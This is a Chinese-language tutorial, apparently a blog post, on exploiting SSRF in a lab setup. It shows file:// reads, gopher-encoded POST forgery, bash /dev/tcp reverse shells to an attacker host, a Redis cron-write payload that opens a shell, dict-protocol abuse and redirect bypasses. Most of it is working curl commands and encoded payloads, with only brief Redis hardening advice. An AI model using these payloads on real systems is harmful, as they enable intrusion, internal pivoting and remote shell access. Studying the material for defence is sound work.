1|00x01 概述

上篇讲述了SSRF的一般用法,用http协议来进行内网探测,攻击内网redis,接下来讨论的是SSRF的拓展用法,通过,file,gopher,dict协议对SSRF漏洞进行利用。

2|00x02 实验环境

存在SSRF漏洞的靶机:192.168.220.143

被攻击的内网系统A:192.168.220.139  (web服务器)

SSRF漏洞存在于页面:http://192.168.220.143:8888/zhan/ssrf/ssrf_demo.php,代码如下:

// 设置URL和相应的选项curl_setopt($ch, CURLOPT_URL, $_GET['url']);

curl_setopt($ch, CURLOPT_HEADER, false);

// 抓取URL并把它传递给浏览器curl_exec($ch);//关闭cURL资源,并且释放系统资源curl_close($ch);

?>

可能出现SSRF的函数:file_get_contents()、curl()、fsocksopen()、fopen()等。

2|1【利用1】 通过file协议读取文件

访问:http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=file:///C:/WINDOWS/win.ini  ,成功读取文件

2|2【利用2】通过gopher协议对内网系统进行POST攻击

简要介绍:gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样就可以解决漏洞点不在GET参数的问题了。

假设存在一内网系统(http://192.168.220.139/test/ssrf/post.php),其支持POST请求,代码如下:

post

?>

①通过【curl命令】和【gopher协议】伪造post请求

curl -v 'gopher://192.168.220.139:80/_POST%20%2ftest%2fssrf%2fpost.php%20HTTP/1.1%0D%0AHost:%20192.168.220.139%0D%0AUser-Agent:%20curl/7.42.0%0D%0AAccept:%20*/*%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Acmd=aaaaaaaa'

科来网络分析工具抓包:

再查看192.168.220.139的系统日志会发现,多了一条来自192.168.220.142的POST请求记录

②通过【curl命令】和【gopher协议】对有【SSRF漏洞】的网站远程伪造post请求

通过SSRF漏洞同样可以利用gopher协议对内网系统进行POST请求,不过首先需要查看下【phpinfo】,确认curl是enabled,并且需要确认下当前的curl版本是否支持gopher协议。

开始用的7.21.0,就没有复现成功,这里是个坑- -!如果curl版本太低,调高phpstudy里的php版本就可以惹^^

注意:这里的回车换行要二次编码:%0D%0A -->%250d%250a

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=gopher://192.168.220.139:80/_POST%20/test/ssrf/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=bbbbb'

再去查看192.168.220.139的系统日志会发现,多了一条来自192.168.220.143的POST请求记录。通过抓包可以看到,实际上,192.168.220.143确实向192.168.220.139发送了一个POST请求,在这里143其实充当了跳板机的角色。

攻击过程如下:

③通过【curl命令】和【gopher协议】对有【SSRF漏洞】的网站远程伪造post请求反弹shell

##补充知识1

靶机:    bash -i >& /dev/tcp/192.168.220.140/2333 0>&1

攻击者:nc -lvvp 2333

回到SSRF漏洞,利用如下,同样可以反弹shell:

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=gopher://192.168.220.139:80/_POST%20/test/ssrf/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261'

④通过【curl命令】和【gopher协议】对有【SSRF漏洞】的网站远程攻击内网redis

##补充知识2

①docker端口映射

docker run -d -p 6379:6379 ssrf_redis  #将docker的6379端口映射到宿主机的6379端口

docker ps   #查看端口映射情况

②攻击redis的exp:

此种方法能攻击成功的前提条件是:redis是以root权限运行的,通过【ps -aux | grep redis】查看redis服务权限,如果不是以root权限运行,就会出现【Permission denied】的报错。

redis-cli -h 192.168.220.142 -p 6379

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.220.140/9999 0>&1\n\n"

config set dir /var/spool/cron

config set dbfilename root

save

回到上面说的通过SSRF漏洞结合gopher协议攻击内网redis,可以构造如下命令,即可反弹shell:

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=gopher://192.168.220.142:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f5555%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'

③redis安全策略开启protected-mode保护模式,配置bind选项,限定可以连接Redis服务器的IP,修改 Redis 的默认端口6379

配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中

禁止使用root运行redis

2|3【利用3】盲打Struts2命令执行

Struts指纹识别 -> Struts远程代码执行漏洞

2|4【利用4】通过dict协议读取目标服务器端口上运行的服务版本信息

访问:http://192.168.220.143:8888/zhan/ssrf/ssrf_demo.php?url=dict://192.168.220.143:3306

2|5【利用5】通过dict协议getshell

参考:

关于dict协议:

> dict://serverip:port/命令:参数

> 向服务器的端口请求 命令:参数,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利

如果服务端不支持gopher协议,可尝试dict协议,不过通过dict协议的话要一条一条的执行,而gopher协议执行一条命令就行了。

通过【curl命令】和【dict协议】可以对redis进行操作:

3|00x03 SSRF绕过限制

http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php,代码如下:

curl_setopt($ch, CURLOPT_URL, $_GET['url']);

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);

//跳转重定向为True,默认不跳转

curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);

// 限制为HTTPS、HTTP协议

curl_setopt($ch, CURLOPT_HEADER, false);// 抓取URL并把它传递给浏览器

curl_exec($ch);//关闭cURL资源,并且释放系统资源

curl_close($ch);

?>

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/302.php?s=dict%26ip=192.168.220.142%26port=6379%26data=flushall'

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/shell.php?s=dict%26ip=192.168.220.142%26port=6379%26bhost=192.168.220.140%26bport=7777'

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/302.php?s=dict%26ip=192.168.220.142%26port=6379%26data=config:set:dir:/var/spool/cron/'

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/302.php?s=dict%26ip=192.168.220.142&port=6379&data=config:set:dbfilename:root'

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/302.php?s=dict%26ip=192.168.220.142%26port=6379%26data=save'

(理论上应该可以,但是实验没有成功,有可能是url编码的问题,以后有时间再来深究)

实战代码:

302.php辅助脚本:

shell.php辅助脚本:

file.php辅助脚本:

ssrf dict MySQL_SSRF——漏洞利用(二)相关推荐

  1. ssrf dict MySQL_ssrf漏洞利用(内网探测、打redis)

    摘要:存在ssrf漏洞的站点主要利用四个协议,分别是http.file.gopher.dict协议. file协议拿来进行本地文件的读取,http协议拿来进行内网的ip扫描.端口探测,如果探测到637 ...

  2. linux 漏洞 poc,CVE-2017-11176: 一步一步linux内核漏洞利用 (二)(PoC)

    使第二次循环中的fget()返回NULL 到目前为止,在用户态下满足了触发漏洞的三个条件之一.TODO: 使netlink_attachskb()返回1 [DONE]exp线程解除阻塞 使第二次fge ...

  3. 格式化字符串漏洞利用 二、格式化函数

    二.格式化函数 原文:Exploiting Format String Vulnerabilities 作者:scut@team-teso.net 译者:飞龙 日期:2001.9.1 版本:v1.2 ...

  4. 实战getshell新姿势-SSRF漏洞利用与getshell实战

    实战getshell新姿势-SSRF漏洞利用与getshell实战 一.什么地方最容易出现SSRF 二.SSRF漏洞危害 三.SSRF 神器 Curl 的使用 四.最常用的跳转绕过 五.Python ...

  5. centos 阿帕奇无法解析php_PHP文件包含漏洞利用思路与Bypass总结手册(二)

    作者:Qftm 合天智汇 接上一篇:https://www.toutiao.com/i6819918030252802571/ 包含Session 在了解session包含文件漏洞及绕过姿势的时候,我 ...

  6. 【技术分享】 ​IE浏览器漏洞利用技术的演变 ( 二 )

    把漏洞利用玩的像一件艺术品一样,好赞 前言 在上一篇文章中,我们讲了一些早期的 ie相关的漏洞的利用,从最基础,最简单的栈溢出漏洞的利用说起,到相对而言更加复杂的UAF 漏洞利用.透过这些漏洞利用的演 ...

  7. kali安装keylogger_小白日记48:kali渗透测试之Web渗透-XSS(二)-漏洞利用-键盘记录器,xsser...

    XSS 原则上:只要XSS漏洞存在,可以编写任何功能的js脚本 [反射型漏洞利用] 键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上 服务器:kali 客户端 启动apache2服务:ser ...

  8. mysql 渗透及漏洞利用总结

    Mysql数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用Mysql作为其数据库支撑,目前很多架构都以Mysql作为数据库管理系统,例如LAMP.和WAMP等,在针对网站渗透中,很 ...

  9. 第39天:WEB攻防-通用漏洞CSRFSSRF协议玩法内网探针漏洞利用

    目录 CSRF:跨站请求伪造 定义: 举例 条件 CSRF的防护 SSRF       服务器端请求伪造 举例 漏洞利用攻击: 端口扫描,指纹识别,漏洞利用, 内网探针(端口字典爆破)--通过远程请求 ...

最新文章

  1. 国庆七天乐——第一天
  2. (五)Java工具类ArrayUtils详解
  3. 【mxnet速成】mxnet图像分类从模型自定义到测试
  4. [Jarvis OJ - PWN]——Backdoor
  5. 在阿里云Kubernetes上运行SpringCloud示例PiggyMetrics
  6. 安装配置ASMlib驱动
  7. C++新特性探究(十七):chrono计時器
  8. 使用wmi显示rpc服务器不可用,详解WMI RPC 服务器不可用的解决方案
  9. 2017黑色主题 server sql_王智好美,一袭黑色亮片吊带长裙,造型简约大气,时尚优雅...
  10. eclipse-最新具体汉化教程
  11. 【BZOJ4972】小Q的方格纸 前缀和
  12. 《拥抱变化——社交网络时代的企业转型之道》一第1章 助力社交商务成功的AGENDA体系...
  13. awg线径与电流_AWG_线径电流
  14. ubuntu下安装Realtek usb无线网卡驱动(8821cu)
  15. 钉钉显示服务器升级是什么意思,服务器升级自动通知钉钉群并报告环境功能
  16. 国内IDC数据中心星级评判标准怎么划分
  17. 理解华为交换机的三种端口模式
  18. 使用Aura.Router在PHP中进行Web路由
  19. 多规格选择样式/问卷调查选择(小程序)
  20. 爬虫之CCTV6电影名字

热门文章

  1. 基于springboot的短视频网站的开发与设计
  2. va_list 与print
  3. java-使用ffemg插件截取rtsp视频流实现视频录制(海康相机)
  4. python学习笔记(六)——类的初始化(__init__)、类属性和类方法 和 对象
  5. 吉林大学非全 计算机,“非全日制”研究生遭歧视,非全日制和全日制区别在哪?...
  6. windows开启IIS服务器
  7. Qt之QSS渐变效果
  8. 网络工程师成长日记439-为什么有些工作始终做不好
  9. 【英语语法入门】 第19讲 一般现在时和现在进行时
  10. 国家电网公司标准化建设成果应用目录(2015)参考书目